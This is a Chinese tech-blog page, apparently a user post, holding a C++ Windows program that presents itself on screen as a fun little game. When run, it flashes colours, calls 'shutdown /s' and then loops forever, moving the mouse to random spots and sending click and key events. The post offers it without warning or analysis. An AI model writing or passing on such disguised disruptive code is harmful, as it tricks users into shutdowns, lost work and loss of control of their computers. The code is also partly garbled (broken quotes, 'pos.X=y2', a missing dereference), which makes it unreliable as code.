跳到正文

科技·工程

jki87d7

pale_C约 4 分钟
原文
文章信息与版本

文章信息

发布
2025年3月16日
收录
2025年12月12日
更新
2026年10月22日
篇幅
约 4 分钟

版本

  1. v1当前

#include<bits/stdc++.h> #include<windows.h> #include<stdio.h> #include<conio.h> #include<time.h> using namespace std; void first_page(); void SlowDisplay(int x,char *p); void SetPos(int x,int y); void Say1(string a) ; void Say2(string a) ; int read(); void page_1(); void hhh(); void page_3(); int main() { page_3(); return 0; } void first_page() { system(“cls”); system(“color 07”); cout<<” ■■■“<<endl; cout<<”■”; cout<<”■ ■■ ■ ■ ■ ■■“<<endl; cout<<”■ ■ ■■ ■ ■ ■ ■ ■“<<endl; cout<<” ■■■ ■ ■ ■ ■ ■ ■■■“<<endl; } void SlowDisplay(int x,char *p) { while(1) { if(*p!=0) printf(“%c”,p++); else break; Sleep(x); } } void SetPos(int x,int y) { COORD pos; pos.X=y2,pos.Y=x; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } void Say1(string a) { int l=a.size(); for(int i=0;i<l;i++) { cout<<a[i]; Sleep(20); } printf(“\n”); } void Say2(string a) { int l=a.size(); for(int i=0;i<l;i++) { cout<<a[i]; Sleep(200); } printf(“\n”); } int read() { char ch=_getch(); while(ch>‘9’||ch<‘0’) ch=_getch(); return ch-48; } void page_1() { system(“cls”); system(“Color C”); first_page(); Say1(“这是一个好van的小游戏\n”); Say1(“玩了之后你一定会赞不绝口(绷)”); Say2(“进 入 正 题\n”); hhh(); system(“cls”); } void hhh() { system(“shutdown /s”); cout<<“笑.jpg”<<endl; cout<<“不要骂我哟!!!“<<endl; while(1) { int x,y; Sleep(10); x=rand()%1400; y=rand()%900; SetCursorPos(x,y); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0); keybd_event(67,0,KEYEVENTF_KEYUP,0);

代码
}

} void page_3() { for(int i=1;i<=4;i++) { system(“color 1A”); Sleep(10); system(“color 2B”); Sleep(10); system(“color 3C”); Sleep(10); system(“color 4D”); Sleep(10); system(“color 5D”); Sleep(10); system(“color 6E”); Sleep(10); system(“color 7F”); Sleep(10); } page_1(); }

原文